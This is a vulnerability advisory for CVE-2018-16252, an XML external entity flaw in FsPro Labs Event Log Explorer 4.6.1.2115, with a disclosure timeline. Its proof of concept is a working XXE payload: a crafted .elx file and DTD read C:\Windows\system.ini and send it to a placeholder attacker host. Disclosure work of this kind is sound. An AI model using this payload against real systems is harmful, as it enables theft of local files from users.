FsPro Labs Event Log Explorer version 4.6.1.2115 suffers from an XML external entity injection vulnerability.
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[+] Source: http://hyp3rlinx.altervista.org/advisories/FSPRO-LABS-EVENT-LOG-EXPLORER-XML-INJECTION-INFO-DISCLOSURE.txt
[+] ISR: ApparitionSec
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[Vendor]
www.eventlogxp.com
[Product]
Event Log Explorer v4.6.1.2115
Event Log Explorer is an effective software solution for viewing, analyzing and monitoring events recorded in Microsoft Windows event logs.
[Vulnerability Type]
XML External Entity Injection
[Affected Component]
elex.exe
[CVE Reference]
CVE-2018-16252
[Security Issue]
Upon opening a specially crafted .ELX file in Event Log Explorer, remote attackers can potentially gain access to local files.
[Impact]
Information Disclosure
[Exploit/POC]
python -m SimpleHTTPServer
"test.elx"
<?xml version="1.0"?>
<!DOCTYPE gga [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://HACKER-IP:8000/payload.dtd">
%dtd;]>
<infodisclosa>&send;</infodisclosa>
"payload.dtd"
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://HACKER-IP:8000?%file;'>">
%all;
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: August 19, 2018
Vendor created ticket: August 19, 2018
No further replys
September 1, 2018 : Public Disclosure
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